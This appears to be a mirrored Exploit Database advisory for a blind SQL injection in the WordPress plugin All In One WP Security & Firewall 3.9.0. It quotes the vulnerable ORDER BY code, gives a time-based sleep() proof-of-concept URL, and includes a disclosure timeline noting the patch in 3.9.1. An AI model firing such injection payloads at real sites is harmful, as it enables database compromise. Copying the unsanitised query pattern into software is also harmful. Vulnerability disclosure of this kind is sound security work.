WordPress Plugin All In One WP Security & Firewall 3.9.0 – SQL Injection

• Exploit Database
• 14 阅读

• 作者： Claudio Viviani
  日期： 2015-04-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36671/

• ######################
  
  # Exploit Title : WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability
  
  # Exploit Author : Claudio Viviani
  
  # Vendor Homepage : https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/
  
  # Software Link : https://mega.co.nz/#!DJAEBLBS!IBiukGo-pirelHmsRV80xZDHIvpqZKtTIqsD8YrMf7U
  
  # Date : 2015-04-05
  
  # Tested on : Linux / Mozilla Firefox
   
  ######################
  
  # Description
  
   WordPress All In One WP Security & Firewall 3.9.0 suffers from Blind SQL Injection vulnerability
   
   There are some pages with wordpress esc_sql function. 
   esc_sql is prone to Blind SQL Injection (discovered by Ryan Dewhurst - http://dewhurstsecurity.com/)
   
   isset($_GET["orderby"]) ? $orderby = strip_tags($_GET["orderby"]): $orderby = '';
   isset($_GET["order"]) ? $order = strip_tags($_GET["order"]): $order = '';
   
   - admin/wp-security-list-404.php
   
   $orderby = !empty($orderby) ? esc_sql($orderby) : 'id';
   $order = !empty($order) ? esc_sql($order) : 'DESC';
   ...
   ...
   $data = $wpdb->get_results("SELECT * FROM $events_table_name ORDER BY $orderby $order", ARRAY_A);
   
   
   - admin/wp-security-list-login-fails.php
   
   $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
   $order = !empty($order) ? esc_sql($order) : 'DESC';
   
   $data = $wpdb->get_results("SELECT * FROM $failed_logins_table_name ORDER BY $orderby $order", ARRAY_A);
   
   
   - admin/wp-security-list-acct-activity-php
   
   $orderby = !empty($orderby) ? esc_sql($orderby) : 'login_date';
   $order = !empty($order) ? esc_sql($order) : 'DESC';
   
   $data = $wpdb->get_results("SELECT * FROM $login_activity_table ORDER BY $orderby $order LIMIT 50", ARRAY_A)
   
   
   - admin/wp-security-list-locked-ip.php
   
   $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
   $order = !empty($order) ? esc_sql($order) : 'DESC';
   
   $data = $wpdb->get_results("SELECT * FROM $lockdown_table_name WHERE release_date > now() ORDER BY $orderby $order", ARRAY_A)
  
  ######################
  
  # PoC
  
   http://VICTIM//wp-admin/admin.php?page=aiowpsec&tab=tab3&orderby=user_id,(select * from (select(sleep(30)))a)&order=asc
  
  
  ######################
  
  # Vulnerability Disclosure Timeline:
  
  2015-04-05: Discovered vulnerability
  2015-04-06: Vendor Notification
  2015-04-06: Vendor Response/Feedback 
  2015-04-07: Vendor Send Fix/Patch (3.9.1)
  2015-04-07: Public Disclosure 
  
  #######################
  
  Discovered By : Claudio Viviani
  http://www.homelab.it
  http://ffhd.homelab.it (Free Fuzzy Hashes Database)
   
  info@homelab.it
  homelabit@protonmail.ch
  
  https://www.facebook.com/homelabit
  https://twitter.com/homelabit
  https://plus.google.com/+HomelabIt1/
  https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  
  #####################